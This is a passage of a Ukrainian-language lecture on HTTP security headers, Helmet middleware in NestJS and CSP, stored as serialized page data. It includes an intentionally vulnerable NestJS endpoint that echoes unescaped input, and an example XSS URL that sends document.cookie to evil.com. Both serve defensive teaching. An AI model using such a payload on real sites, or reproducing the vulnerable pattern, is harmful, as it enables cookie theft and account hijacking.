header.",[5149,5212],{},[5084,5214,5216],{"id":5215},"http-security-headers-перша-лінія-захисту","HTTP Security Headers: Перша лінія захисту",[5089,5218,5219],{},"У попередній лекції ми розглянули налаштування CORS для контролю доступу до API з різних origins. CORS захищає ваш backend від несанкціонованих запитів з інших доменів, але це лише один аспект безпеки веб-застосунків.",[5089,5221,5222,5225,5226,5230],{},[5099,5223,5224],{},"HTTP Security Headers"," — це заголовки відповіді сервера, що інструктують браузер про правила безпеки при відображенні та виконанні контенту вашої сторінки. Браузери поважають ці заголовки та застосовують відповідні обмеження для захисту користувача від атак на кшталт XSS (",[5227,5228,5229],"em",{},"Cross-Site Scripting","), clickjacking, MIME type confusion та витоку конфіденційної інформації.",[5232,5233,5235],"h3",{"id":5234},"чому-важливі-security-headers","Чому важливі security headers?",[5089,5237,5238,5239,5242,5243,5246],{},"Сучасні браузери мають вбудовані механізми захисту, але ",[5099,5240,5241],{},"за замовчуванням вони не активовані у найсуворішому режимі",". Причина — зворотна сумісність (",[5227,5244,5245],{},"backward compatibility",") із старими сайтами, що покладаються на небезпечні практики (inline scripts, eval(), відсутність HTTPS).",[5089,5248,5249],{},[5099,5250,5251],{},"Security headers дозволяють серверу явно вказати:",[5093,5253,5254,5257,5260,5263,5266],{},[5096,5255,5256],{},"Які домени можуть завантажувати scripts, styles та інші ресурси (CSP).",[5096,5258,5259],{},"Чи можна вбудовувати вашу сторінку в iframe (X-Frame-Options).",[5096,5261,5262],{},"Чи повинен браузер завжди використовувати HTTPS (HSTS).",[5096,5264,5265],{},"Чи може браузер \"вгадувати\" тип файлу, ігноруючи Content-Type (X-Content-Type-Options).",[5096,5267,5268],{},"Які дані передавати у Referer header при переходах на інші сайти (Referrer-Policy).",[5270,5271,5272,5275,5276,5279,5280,5283],"note",{},[5099,5273,5274],{},"Ключова відмінність від CORS:"," CORS контролює, які ",[5099,5277,5278],{},"інші сайти"," можуть робити запити до вашого API. Security headers контролюють, що ",[5099,5281,5282],{},"ваша власна сторінка"," може робити у браузері користувача (завантажувати scripts, відкривати камеру, використовувати geolocation).",[5232,5285,5287],{"id":5286},"типові-вразливості-які-закриваються-security-headers","Типові вразливості, які закриваються security headers",[5289,5290,5291,5307],"table",{},[5292,5293,5294],"thead",{},[5295,5296,5297,5301,5304],"tr",{},[5298,5299,5300],"th",{},"Атака",[5298,5302,5303],{},"Security Header",[5298,5305,5306],{},"Механізм захисту",[5308,5309,5310,5328,5341,5353,5365,5377],"tbody",{},[5295,5311,5312,5318,5321],{},[5313,5314,5315],"td",{},[5099,5316,5317],{},"XSS (Cross-Site Scripting)",[5313,5319,5320],{},"Content-Security-Policy",[5313,5322,5323,5324],{},"Блокує виконання inline scripts та ",[5325,5326,5327],"code",{},"eval()",[5295,5329,5330,5335,5338],{},[5313,5331,5332],{},[5099,5333,5334],{},"Clickjacking",[5313,5336,5337],{},"X-Frame-Options, CSP frame-ancestors",[5313,5339,5340],{},"Забороняє вбудовування у iframe",[5295,5342,5343,5348,5350],{},[5313,5344,5345],{},[5099,5346,5347],{},"MITM (Man-in-the-Middle)",[5313,5349,5119],{},[5313,5351,5352],{},"Примушує використання HTTPS",[5295,5354,5355,5360,5362],{},[5313,5356,5357],{},[5099,5358,5359],{},"MIME Confusion Attack",[5313,5361,5125],{},[5313,5363,5364],{},"Забороняє sniffing типу файлу",[5295,5366,5367,5372,5374],{},[5313,5368,5369],{},[5099,5370,5371],{},"Privacy Leakage",[5313,5373,5131],{},[5313,5375,5376],{},"Обмежує передачу Referer header",[5295,5378,5379,5384,5386],{},[5313,5380,5381],{},[5099,5382,5383],{},"Несанкціонований доступ до API",[5313,5385,5137],{},[5313,5387,5388],{},"Блокує camera, microphone, geolocation",[5149,5390],{},[5084,5392,5394],{"id":5393},"helmet-автоматизація-security-headers-у-nestjs","Helmet: Автоматизація security headers у NestJS",[5089,5396,5397,5399],{},[5099,5398,5101],{}," — це middleware для Node.js, що автоматично додає набір захисних HTTP заголовків до всіх відповідей сервера. Це стандартний інструмент для Express.js та NestJS застосунків.",[5232,5401,5403],{"id":5402},"встановлення-helmet","Встановлення Helmet",[5405,5406,5407,5439,5456],"tabs",{},[5408,5409,5411],"tabs-item",{"label":5410},"npm",[5412,5413,5418],"pre",{"className":5414,"code":5415,"language":5416,"meta":5417,"style":5417},"language-bash shiki shiki-themes light-plus dark-plus dark-plus","npm install --save helmet\n","bash","",[5325,5419,5420],{"__ignoreMap":5417},[5421,5422,5425,5428,5432,5436],"span",{"class":5423,"line":5424},"line",1,[5421,5426,5410],{"class":5427},"s8Opu",[5421,5429,5431],{"class":5430},"sbdoH"," install",[5421,5433,5435],{"class":5434},"su1O8"," --save",[5421,5437,5438],{"class":5430}," helmet\n",[5408,5440,5442],{"label":5441},"pnpm",[5412,5443,5445],{"className":5414,"code":5444,"language":5416,"meta":5417,"style":5417},"pnpm add helmet\n",[5325,5446,5447],{"__ignoreMap":5417},[5421,5448,5449,5451,5454],{"class":5423,"line":5424},[5421,5450,5441],{"class":5427},[5421,5452,5453],{"class":5430}," add",[5421,5455,5438],{"class":5430},[5408,5457,5459],{"label":5458},"yarn",[5412,5460,5462],{"className":5414,"code":5461,"language":5416,"meta":5417,"style":5417},"yarn add helmet\n",[5325,5463,5464],{"__ignoreMap":5417},[5421,5465,5466,5468,5470],{"class":5423,"line":5424},[5421,5467,5458],{"class":5427},[5421,5469,5453],{"class":5430},[5421,5471,5438],{"class":5430},[5232,5473,5475],{"id":5474},"базова-інтеграція-у-nestjs","Базова інтеграція у NestJS",[5089,5477,5478,5479,5482],{},"Helmet підключається як глобальний middleware у файлі ",[5325,5480,5481],{},"main.ts",":",[5412,5484,5488],{"className":5485,"code":5486,"language":5487,"meta":5417,"style":5417},"language-typescript shiki shiki-themes light-plus dark-plus dark-plus","\u002F\u002F src\u002Fmain.ts\nimport { NestFactory } from '@nestjs\u002Fcore';\nimport { AppModule } from '.\u002Fapp.module';\nimport helmet from 'helmet';\n\nasync function bootstrap() {\n  const app = await NestFactory.create(AppModule);\n\n  \u002F\u002F Увімкнути всі security headers з конфігурацією за замовчуванням\n  app.use(helmet());\n\n  await app.listen(3000);\n}\nbootstrap();\n","typescript",[5325,5489,5490,5496,5523,5542,5558,5565,5580,5613,5618,5624,5643,5648,5669,5675],{"__ignoreMap":5417},[5421,5491,5492],{"class":5423,"line":5424},[5421,5493,5495],{"class":5494},"spJ8K","\u002F\u002F src\u002Fmain.ts\n",[5421,5497,5499,5503,5507,5511,5514,5517,5520],{"class":5423,"line":5498},2,[5421,5500,5502],{"class":5501},"s8xlr","import",[5421,5504,5506],{"class":5505},"sHH4Y"," { ",[5421,5508,5510],{"class":5509},"siwwj","NestFactory",[5421,5512,5513],{"class":5505}," } ",[5421,5515,5516],{"class":5501},"from",[5421,5518,5519],{"class":5430}," '@nestjs\u002Fcore'",[5421,5521,5522],{"class":5505},";\n",[5421,5524,5526,5528,5530,5533,5535,5537,5540],{"class":5423,"line":5525},3,[5421,5527,5502],{"class":5501},[5421,5529,5506],{"class":5505},[5421,5531,5532],{"class":5509},"AppModule",[5421,5534,5513],{"class":5505},[5421,5536,5516],{"class":5501},[5421,5538,5539],{"class":5430}," '.\u002Fapp.module'",[5421,5541,5522],{"class":5505},[5421,5543,5545,5547,5550,5553,5556],{"class":5423,"line":5544},4,[5421,5546,5502],{"class":5501},[5421,5548,5549],{"class":5509}," helmet",[5421,5551,5552],{"class":5501}," from",[5421,5554,5555],{"class":5430}," 'helmet'",[5421,5557,5522],{"class":5505},[5421,5559,5561],{"class":5423,"line":5560},5,[5421,5562,5564],{"emptyLinePlaceholder":5563},true,"\n",[5421,5566,5568,5571,5574,5577],{"class":5423,"line":5567},6,[5421,5569,5570],{"class":5434},"async",[5421,5572,5573],{"class":5434}," function",[5421,5575,5576],{"class":5427}," bootstrap",[5421,5578,5579],{"class":5505},"() {\n",[5421,5581,5583,5586,5590,5593,5596,5599,5602,5605,5608,5610],{"class":5423,"line":5582},7,[5421,5584,5585],{"class":5434},"  const",[5421,5587,5589],{"class":5588},"s-QsJ"," app",[5421,5591,5592],{"class":5505}," = ",[5421,5594,5595],{"class":5501},"await",[5421,5597,5598],{"class":5509}," NestFactory",[5421,5600,5601],{"class":5505},".",[5421,5603,5604],{"class":5427},"create",[5421,5606,5607],{"class":5505},"(",[5421,5609,5532],{"class":5509},[5421,5611,5612],{"class":5505},");\n",[5421,5614,5616],{"class":5423,"line":5615},8,[5421,5617,5564],{"emptyLinePlaceholder":5563},[5421,5619,5621],{"class":5423,"line":5620},9,[5421,5622,5623],{"class":5494},"  \u002F\u002F Увімкнути всі security headers з конфігурацією за замовчуванням\n",[5421,5625,5627,5630,5632,5635,5637,5640],{"class":5423,"line":5626},10,[5421,5628,5629],{"class":5509},"  app",[5421,5631,5601],{"class":5505},[5421,5633,5634],{"class":5427},"use",[5421,5636,5607],{"class":5505},[5421,5638,5639],{"class":5427},"helmet",[5421,5641,5642],{"class":5505},"());\n",[5421,5644,5646],{"class":5423,"line":5645},11,[5421,5647,5564],{"emptyLinePlaceholder":5563},[5421,5649,5651,5654,5656,5658,5661,5663,5667],{"class":5423,"line":5650},12,[5421,5652,5653],{"class":5501},"  await",[5421,5655,5589],{"class":5509},[5421,5657,5601],{"class":5505},[5421,5659,5660],{"class":5427},"listen",[5421,5662,5607],{"class":5505},[5421,5664,5666],{"class":5665},"sJj4R","3000",[5421,5668,5612],{"class":5505},[5421,5670,5672],{"class":5423,"line":5671},13,[5421,5673,5674],{"class":5505},"}\n",[5421,5676,5678,5681],{"class":5423,"line":5677},14,[5421,5679,5680],{"class":5427},"bootstrap",[5421,5682,5683],{"class":5505},"();\n",[5089,5685,5686],{},[5099,5687,5688,5689,5692],{},"Що робить ",[5325,5690,5691],{},"helmet()"," за замовчуванням:",[5089,5694,5695],{},"Helmet активує наступні middleware (кожен відповідає за окремий заголовок):",[5697,5698,5699,5704,5710,5719,5725,5731,5736,5742,5747,5752,5758,5763,5769,5775],"ol",{},[5096,5700,5701,5703],{},[5099,5702,5320],{}," — обмеження джерел завантаження ресурсів",[5096,5705,5706,5709],{},[5099,5707,5708],{},"Cross-Origin-Embedder-Policy"," — ізоляція cross-origin ресурсів",[5096,5711,5712,5715,5716],{},[5099,5713,5714],{},"Cross-Origin-Opener-Policy"," — захист від leak-атак через ",[5325,5717,5718],{},"window.opener",[5096,5720,5721,5724],{},[5099,5722,5723],{},"Cross-Origin-Resource-Policy"," — контроль завантаження ресурсів іншими origins",[5096,5726,5727,5730],{},[5099,5728,5729],{},"Origin-Agent-Cluster"," — ізоляція документів за origin",[5096,5732,5733,5735],{},[5099,5734,5131],{}," — контроль передачі Referer header",[5096,5737,5738,5741],{},[5099,5739,5740],{},"Strict-Transport-Security"," — примусове використання HTTPS",[5096,5743,5744,5746],{},[5099,5745,5125],{}," — заборона MIME sniffing",[5096,5748,5749,5751],{},[5099,5750,5143],{}," — контроль DNS prefetching",[5096,5753,5754,5757],{},[5099,5755,5756],{},"X-Download-Options"," — заборона відкриття файлів у контексті сайту (IE8+)",[5096,5759,5760,5762],{},[5099,5761,5113],{}," — захист від clickjacking",[5096,5764,5765,5768],{},[5099,5766,5767],{},"X-Permitted-Cross-Domain-Policies"," — контроль політик Adobe Flash\u002FPDF",[5096,5770,5771,5774],{},[5099,5772,5773],{},"X-Powered-By"," — видалення заголовку (приховування технології)",[5096,5776,5777,5780],{},[5099,5778,5779],{},"X-XSS-Protection"," — застаріла захист від XSS (більше не рекомендується, CSP краще)",[5782,5783,5784,5787,5788,5601],"tip",{},[5099,5785,5786],{},"Порада для розробки:"," під час локальної розробки деякі заголовки (особливо CSP) можуть блокувати Hot Module Replacement (HMR) у Vite\u002FWebpack. Використовуйте умовне підключення Helmet лише для продакшену або налаштуйте CSP для дозволу ",[5325,5789,5790],{},"localhost",[5149,5792],{},[5084,5794,5796],{"id":5795},"content-security-policy-csp-захист-від-xss","Content Security Policy (CSP): Захист від XSS",[5089,5798,5799,5801,5802,5805],{},[5099,5800,5107],{}," — це найпотужніший та найскладніший security header, що визначає ",[5099,5803,5804],{},"whitelist джерел",", з яких браузер може завантажувати ресурси.",[5232,5807,5809],{"id":5808},"проблема-xss-атаки","Проблема: XSS атаки",[5089,5811,5812,5814],{},[5099,5813,5317],{}," — це атака, при якій зловмисник впроваджує зловмисний JavaScript код на вашу сторінку. Це можливо, якщо ваш додаток виводить некоректно відфільтровані дані користувача:",[5089,5816,5817],{},[5099,5818,5819],{},"Приклад вразливого коду:",[5412,5821,5823],{"className":5485,"code":5822,"language":5487,"meta":5417,"style":5417},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: виведення некерованого HTML\n@Get('search')\nsearch(@Query('q') query: string) {\n  \u002F\u002F Якщо query = \"\u003Cscript>alert('XSS')\u003C\u002Fscript>\"\n  return `\u003Ch1>Результати для: ${query}\u003C\u002Fh1>`; \u002F\u002F Виконається script!\n}\n",[5325,5824,5825,5830,5846,5877,5882,5907],{"__ignoreMap":5417},[5421,5826,5827],{"class":5423,"line":5424},[5421,5828,5829],{"class":5494},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: виведення некерованого HTML\n",[5421,5831,5832,5835,5838,5840,5843],{"class":5423,"line":5498},[5421,5833,5834],{"class":5505},"@",[5421,5836,5837],{"class":5427},"Get",[5421,5839,5607],{"class":5505},[5421,5841,5842],{"class":5430},"'search'",[5421,5844,5845],{"class":5505},")\n",[5421,5847,5848,5851,5854,5857,5859,5862,5865,5868,5871,5874],{"class":5423,"line":5525},[5421,5849,5850],{"class":5427},"search",[5421,5852,5853],{"class":5505},"(@",[5421,5855,5856],{"class":5427},"Query",[5421,5858,5607],{"class":5505},[5421,5860,5861],{"class":5430},"'q'",[5421,5863,5864],{"class":5505},") ",[5421,5866,5867],{"class":5509},"query",[5421,5869,5870],{"class":5505},": ",[5421,5872,5873],{"class":5509},"string",[5421,5875,5876],{"class":5505},") {\n",[5421,5878,5879],{"class":5423,"line":5544},[5421,5880,5881],{"class":5494},"  \u002F\u002F Якщо query = \"\u003Cscript>alert('XSS')\u003C\u002Fscript>\"\n",[5421,5883,5884,5887,5890,5893,5895,5898,5901,5904],{"class":5423,"line":5560},[5421,5885,5886],{"class":5501},"  return",[5421,5888,5889],{"class":5430}," `\u003Ch1>Результати для: ",[5421,5891,5892],{"class":5434},"${",[5421,5894,5867],{"class":5509},[5421,5896,5897],{"class":5434},"}",[5421,5899,5900],{"class":5430},"\u003C\u002Fh1>`",[5421,5902,5903],{"class":5505},"; ",[5421,5905,5906],{"class":5494},"\u002F\u002F Виконається script!\n",[5421,5908,5909],{"class":5423,"line":5567},[5421,5910,5674],{"class":5505},[5089,5912,5913],{},[5099,5914,5915],{},"Якщо користувач відкриє URL:",[5412,5917,5922],{"className":5918,"code":5920,"language":5921},[5919],"language-text","https:\u002F\u002Fexample.com\u002Fsearch?q=\u003Cscript>document.location='https:\u002F\u002Fevil.com\u002Fsteal?cookie='+document.cookie\u003C\u002Fscript>\n","text",[5325,5923,5920],{"__ignoreMap":5417},[5089,5925,5926],{},"…то зловмисник викраде cookies користувача.",[5232,5928,5930],{"id":5929},"як-csp-захищає-від-xss","Як CSP захищає від XSS?",[5089,5932,5933,5934,5937,5938,5482],{},"CSP дозволяє ",[5099,5935,5936],{},"заборонити виконання inline scripts"," та ",[5099,5939,5940],{},"обмежити джерела завантаження",[5412,5942,5946],{"className":5943,"code":5944,"language":5945,"meta":5417,"style":5417},"language-http shiki shiki-themes light-plus dark-plus dark-plus","Content-Security-Policy: default-src 'self'; script-src 'self' https:\u002F\u002Fcdn.example.com\n","http",[5325,5947,5948],{"__ignoreMap":5417},[5421,5949,5950,5953,5955],{"class":5423,"line":5424},[5421,5951,5320],{"class":5952},"sKtos",[5421,5954,5482],{"class":5434},[5421,5956,5957],{"class":5430}," default-src 'self'; script-src 'self' https:\u002F\u002Fcdn.example.com\n",[5089,5959,5960],{},[5099,5961,5962],{},"Що означає ця політика:",[5093,5964,5965,5971],{},[5096,5966,5967,5970],{},[5325,5968,5969],{},"default-src 'self'"," — за замовчуванням завантажувати ресурси лише з поточного домену.",[5096,5972,5973,5976,5977,5601],{},[5325,5974,5975],{},"script-src 'self' https:\u002F\u002Fcdn.example.com"," — JavaScript можна завантажувати лише з поточного домену та ",[5325,5978,5979],{},"https:\u002F\u002Fcdn.example.com",[5089,5981,5982,5985,5986,5989,5990,5993],{},[5099,5983,5984],{},"Результат:"," навіть якщо зловмисник впровадить ",[5325,5987,5988],{},"\u003Cscript>alert('XSS')\u003C\u002Fscript>",", браузер ",[5099,5991,5992],{},"не виконає"," цей код, оскільки він не походить із дозволеного джерела.",[5232,5995,5997],{"id":5996},"директиви-csp","Директиви CSP",[5089,5999,6000,6001,6004],{},"CSP складається з ",[5099,6002,6003],{},"директив",", кожна з яких контролює окремий тип ресурсів:",[5289,6006,6007,6017],{},[5292,6008,6009],{},[5295,6010,6011,6014],{},[5298,6012,6013],{},"Директива",[5298,6015,6016],{},"Контролює",[5308,6018,6019,6029,6039,6053,6071,6084,6094,6111,6130,6143,6153,6166],{},[5295,6020,6021,6026],{},[5313,6022,6023],{},[5325,6024,6025],{},"default-src",[5313,6027,6028],{},"Базове правило для всіх ресурсів (якщо інше не вказано)",[5295,6030,6031,6036],{},[5313,6032,6033],{},[5325,6034,6035],{},"script-src",[5313,6037,6038],{},"Завантаження та виконання JavaScript",[5295,6040,6041,6046],{},[5313,6042,6043],{},[5325,6044,6045],{},"style-src",[5313,6047,6048,6049,6052],{},"Завантаження CSS файлів та ",[5325,6050,6051],{},"\u003Cstyle>"," тегів",[5295,6054,6055,6060],{},[5313,6056,6057],{},[5325,6058,6059],{},"img-src",[5313,6061,6062,6063,6066,6067,6070],{},"Завантаження зображень (",[5325,6064,6065],{},"\u003Cimg>",", CSS ",[5325,6068,6069],{},"background-image",")",[5295,6072,6073,6078],{},[5313,6074,6075],{},[5325,6076,6077],{},"font-src",[5313,6079,6080,6081,6070],{},"Завантаження шрифтів (",[5325,6082,6083],{},"@font-face",[5295,6085,6086,6091],{},[5313,6087,6088],{},[5325,6089,6090],{},"connect-src",[5313,6092,6093],{},"AJAX, fetch, WebSocket, EventSource",[5295,6095,6096,6101],{},[5313,6097,6098],{},[5325,6099,6100],{},"media-src",[5313,6102,6103,6106,6107,6110],{},[5325,6104,6105],{},"\u003Caudio>",", ",[5325,6108,6109],{},"\u003Cvideo>"," теги",[5295,6112,6113,6118],{},[5313,6114,6115],{},[5325,6116,6117],{},"object-src",[5313,6119,6120,6106,6123,6106,6126,6129],{},[5325,6121,6122],{},"\u003Cobject>",[5325,6124,6125],{},"\u003Cembed>",[5325,6127,6128],{},"\u003Capplet>"," (застаріле)",[5295,6131,6132,6137],{},[5313,6133,6134],{},[5325,6135,6136],{},"frame-src",[5313,6138,6139,6142],{},[5325,6140,6141],{},"\u003Ciframe>"," джерела",[5295,6144,6145,6150],{},[5313,6146,6147],{},[5325,6148,6149],{},"frame-ancestors",[5313,6151,6152],{},"Дозволені батьківські сторінки для вбудовування (аналог X-Frame-Options)",[5295,6154,6155,6160],{},[5313,6156,6157],{},[5325,6158,6159],{},"base-uri",[5313,6161,6162,6163],{},"Дозволені значення ",[5325,6164,6165],{},"\u003Cbase href>",[5295,6167,6168,6173],{},[5313,6169,6170],{},[5325,6171,6172],{},"form-action",[5313,6174,6175],{},"Дозволені URL для відправки форм",[5089,6177,6178],{},[5099,6179,6180],{},"Значення джерел:",[5289,6182,6183,6193],{},[5292,6184,6185],{},[5295,6186,6187,6190],{},[5298,6188,6189],{},"Значення",[5298,6191,6192],{},"Опис",[5308,6194,6195,6205,6215,6225,6235,6245,6261,6274],{},[5295,6196,6197,6202],{},[5313,6198,6199],{},[5325,6200,6201],{},"'self'",[5313,6203,6204],{},"Поточний домен (same-origin)",[5295,6206,6207,6212],{},[5313,6208,6209],{},[5325,6210,6211],{},"'none'",[5313,6213,6214],{},"Повна заборона",[5295,6216,6217,6222],{},[5313,6218,6219],{},[5325,6220,6221],{},"https:\u002F\u002Fexample.com",[5313,6223,6224],{},"Конкретний домен",[5295,6226,6227,6232],{},[5313,6228,6229],{},[5325,6230,6231],{},"https:",[5313,6233,6234],{},"Будь-який HTTPS ресурс",[5295,6236,6237,6242],{},[5313,6238,6239],{},[5325,6240,6241],{},"'unsafe-inline'",[5313,6243,6244],{},"Дозволити inline scripts\u002Fstyles (небезпечно!)",[5295,6246,6247,6252],{},[5313,6248,6249],{},[5325,6250,6251],{},"'unsafe-eval'",[5313,6253,6254,6255,6106,6257,6260],{},"Дозволити ",[5325,6256,5327],{},[5325,6258,6259],{},"new Function()"," (небезпечно!)",[5295,6262,6263,6268],{},[5313,6264,6265],{},[5325,6266,6267],{},"'nonce-abc123'",[5313,6269,6270,6271],{},"Дозволити inline script з атрибутом ",[5325,6272,6273],{},"nonce=\"abc123\"",[5295,6275,6276,6281],{},[5313,6277,6278],{},[5325,6279,6280],{},"'sha256-xyz...'",[5313,6282,6283],{},"Дозволити inline script з певним SHA-256 хешем",[5232,6285,6287],{"id":6286},"приклад-конфігурації-csp-для-spa","Приклад конфігурації CSP для SPA",[5089,6289,6290],{},"Single Page Application (React\u002FVue\u002FAngular) з CDN для статичних ресурсів:",[5412,6292,6294],{"className":5485,"code":6293,"language":5487,"meta":5417,"style":5417},"\u002F\u002F src\u002Fmain.ts\nimport helmet from 'helmet';\n\napp.use(\n  helmet.contentSecurityPolicy({\n    directives: {\n      defaultSrc: [\"'self'\"], \u002F\u002F Базово — лише поточний домен\n      scriptSrc: [\n        \"'self'\",\n        \"https:\u002F\u002Fcdn.jsdelivr.net\",  \u002F\u002F CDN для бібліотек\n        \"https:\u002F\u002Fcdn.example.com\",   \u002F\u002F Ваш CDN для frontend assets\n      ],\n      styleSrc: [\n        \"'self'\",\n        \"'unsafe-inline'\", \u002F\u002F ⚠️ Потрібно для styled-components, CSS-in-JS\n        \"https:\u002F\u002Ffonts.googleapis.com\",\n      ],\n      imgSrc: [\n        \"'self'\",\n        \"data:\",              \u002F\u002F Base64 encoded images\n        \"https:\",             \u002F\u002F Будь-які HTTPS зображення\n      ],\n      fontSrc: [\n        \"'self'\",\n        \"https:\u002F\u002Ffonts.gstatic.com\",\n      ],\n      connectSrc: [\n        \"'self'\",\n        \"https:\u002F\u002Fapi.example.com\",    \u002F\u002F Ваш API\n        \"wss:\u002F\u002Frealtime.example.com\", \u002F\u002F WebSocket сервер\n      ],\n      frameAncestors: [\"'none'\"], \u002F\u002F Заборона вбудовування у iframe\n      objectSrc: [\"'none'\"],      \u002F\u002F Заборона Flash та інших плагінів\n      upgradeInsecureRequests: [], \u002F\u002F Автоматично оновлювати HTTP → HTTPS\n    },\n  })\n);\n",[5325,6295,6296,6300,6312,6316,6328,6341,6349,6366,6374,6382,6393,6404,6409,6416,6422,6433,6441,6446,6454,6461,6473,6485,6490,6498,6505,6513,6518,6526,6533,6545,6556,6561,6577,6593,6605,6611,6617],{"__ignoreMap":5417},[5421,6297,6298],{"class":5423,"line":5424},[5421,6299,5495],{"class":5494},[5421,6301,6302,6304,6306,6308,6310],{"class":5423,"line":5498},[5421,6303,5502],{"class":5501},[5421,6305,5549],{"class":5509},[5421,6307,5552],{"class":5501},[5421,6309,5555],{"class":5430},[5421,6311,5522],{"class":5505},[5421,6313,6314],{"class":5423,"line":5525},[5421,6315,5564],{"emptyLinePlaceholder":5563},[5421,6317,6318,6321,6323,6325],{"class":5423,"line":5544},[5421,6319,6320],{"class":5509},"app",[5421,6322,5601],{"class":5505},[5421,6324,5634],{"class":5427},[5421,6326,6327],{"class":5505},"(\n",[5421,6329,6330,6333,6335,6338],{"class":5423,"line":5560},[5421,6331,6332],{"class":5509},"  helmet",[5421,6334,5601],{"class":5505},[5421,6336,6337],{"class":5427},"contentSecurityPolicy",[5421,6339,6340],{"class":5505},"({\n",[5421,6342,6343,6346],{"class":5423,"line":5567},[5421,6344,6345],{"class":5509},"    directives:",[5421,6347,6348],{"class":5505}," {\n",[5421,6350,6351,6354,6357,6360,6363],{"class":5423,"line":5582},[5421,6352,6353],{"class":5509},"      defaultSrc:",[5421,6355,6356],{"class":5505}," [",[5421,6358,6359],{"class":5430},"\"'self'\"",[5421,6361,6362],{"class":5505},"], ",[5421,6364,6365],{"class":5494},"\u002F\u002F Базово — лише поточний домен\n",[5421,6367,6368,6371],{"class":5423,"line":5615},[5421,6369,6370],{"class":5509},"      scriptSrc:",[5421,6372,6373],{"class":5505}," [\n",[5421,6375,6376,6379],{"class":5423,"line":5620},[5421,6377,6378],{"class":5430},"        \"'self'\"",[5421,6380,6381],{"class":5505},",\n",[5421,6383,6384,6387,6390],{"class":5423,"line":5626},[5421,6385,6386],{"class":5430},"        \"https:\u002F\u002Fcdn.jsdelivr.net\"",[5421,6388,6389],{"class":5505},",  ",[5421,6391,6392],{"class":5494},"\u002F\u002F CDN для бібліотек\n",[5421,6394,6395,6398,6401],{"class":5423,"line":5645},[5421,6396,6397],{"class":5430},"        \"https:\u002F\u002Fcdn.example.com\"",[5421,6399,6400],{"class":5505},",   ",[5421,6402,6403],{"class":5494},"\u002F\u002F Ваш CDN для frontend assets\n",[5421,6405,6406],{"class":5423,"line":5650},[5421,6407,6408],{"class":5505},"      ],\n",[5421,6410,6411,6414],{"class":5423,"line":5671},[5421,6412,6413],{"class":5509},"      styleSrc:",[5421,6415,6373],{"class":5505},[5421,6417,6418,6420],{"class":5423,"line":5677},[5421,6419,6378],{"class":5430},[5421,6421,6381],{"class":5505},[5421,6423,6425,6428,6430],{"class":5423,"line":6424},15,[5421,6426,6427],{"class":5430},"        \"'unsafe-inline'\"",[5421,6429,6106],{"class":5505},[5421,6431,6432],{"class":5494},"\u002F\u002F ⚠️ Потрібно для styled-components, CSS-in-JS\n",[5421,6434,6436,6439],{"class":5423,"line":6435},16,[5421,6437,6438],{"class":5430},"        \"https:\u002F\u002Ffonts.googleapis.com\"",[5421,6440,6381],{"class":5505},[5421,6442,6444],{"class":5423,"line":6443},17,[5421,6445,6408],{"class":5505},[5421,6447,6449,6452],{"class":5423,"line":6448},18,[5421,6450,6451],{"class":5509},"      imgSrc:",[5421,6453,6373],{"class":5505},[5421,6455,6457,6459],{"class":5423,"line":6456},19,[5421,6458,6378],{"class":5430},[5421,6460,6381],{"class":5505},[5421,6462,6464,6467,6470],{"class":5423,"line":6463},20,[5421,6465,6466],{"class":5430},"        \"data:\"",[5421,6468,6469],{"class":5505},",              ",[5421,6471,6472],{"class":5494},"\u002F\u002F Base64 encoded images\n",[5421,6474,6476,6479,6482],{"class":5423,"line":6475},21,[5421,6477,6478],{"class":5430},"        \"https:\"",[5421,6480,6481],{"class":5505},",             ",[5421,6483,6484],{"class":5494},"\u002F\u002F Будь-які HTTPS зображення\n",[5421,6486,6488],{"class":5423,"line":6487},22,[5421,6489,6408],{"class":5505},[5421,6491,6493,6496],{"class":5423,"line":6492},23,[5421,6494,6495],{"class":5509},"      fontSrc:",[5421,6497,6373],{"class":5505},[5421,6499,6501,6503],{"class":5423,"line":6500},24,[5421,6502,6378],{"class":5430},[5421,6504,6381],{"class":5505},[5421,6506,6508,6511],{"class":5423,"line":6507},25,[5421,6509,6510],{"class":5430},"        \"https:\u002F\u002Ffonts.gstatic.com\"",[5421,6512,6381],{"class":5505},[5421,6514,6516],{"class":5423,"line":6515},26,[5421,6517,6408],{"class":5505},[5421,6519,6521,6524],{"class":5423,"line":6520},27,[5421,6522,6523],{"class":5509},"      connectSrc:",[5421,6525,6373],{"class":5505},[5421,6527,6529,6531],{"class":5423,"line":6528},28,[5421,6530,6378],{"class":5430},[5421,6532,6381],{"class":5505},[5421,6534,6536,6539,6542],{"class":5423,"line":6535},29,[5421,6537,6538],{"class":5430},"        \"https:\u002F\u002Fapi.example.com\"",[5421,6540,6541],{"class":5505},",    ",[5421,6543,6544],{"class":5494},"\u002F\u002F Ваш API\n",[5421,6546,6548,6551,6553],{"class":5423,"line":6547},30,[5421,6549,6550],{"class":5430},"        \"wss:\u002F\u002Frealtime.example.com\"",[5421,6552,6106],{"class":5505},[5421,6554,6555],{"class":5494},"\u002F\u002F WebSocket сервер\n",[5421,6557,6559],{"class":5423,"line":6558},31,[5421,6560,6408],{"class":5505},[5421,6562,6564,6567,6569,6572,6574],{"class":5423,"line":6563},32,[5421,6565,6566],{"class":5509},"      frameAncestors:",[5421,6568,6356],{"class":5505},[5421,6570,6571],{"class":5430},"\"'none'\"",[5421,6573,6362],{"class":5505},[5421,6575,6576],{"class":5494},"\u002F\u002F Заборона вбудовування у iframe\n",[5421,6578,6580,6583,6585,6587,6590],{"class":5423,"line":6579},33,[5421,6581,6582],{"class":5509},"      objectSrc:",[5421,6584,6356],{"class":5505},[5421,6586,6571],{"class":5430},[5421,6588,6589],{"class":5505},"],      ",[5421,6591,6592],{"class":5494},"\u002F\u002F Заборона Flash та інших плагінів\n",[5421,6594,6596,6599,6602],{"class":5423,"line":6595},34,[5421,6597,6598],{"class":5509},"      upgradeInsecureRequests:",[5421,6600,6601],{"class":5505}," [], ",[5421,6603,6604],{"class":5494},"\u002F\u002F Автоматично оновлювати HTTP → HTTPS\n",[5421,6606,6608],{"class":5423,"line":6607},35,[5421,6609,6610],{"class":5505},"    },\n",[5421,6612,6614],{"class":5423,"line":6613},36,[5421,6615,6616],{"class":5505},"  })\n",[5421,6618,6620],{"class":5423,"line":6619},37,[5421,6621,5612],{"class":5505},[6623,6624,6625,6634,6635,6638,6639,6642,6643,6646],"warning",{},[5099,6626,6627,6628,6630,6631,5482],{},"Увага з ",[5325,6629,6241],{}," для ",[5325,6632,6633],{},"scriptSrc"," це відкриває можливість для XSS атак! Використовуйте лише для 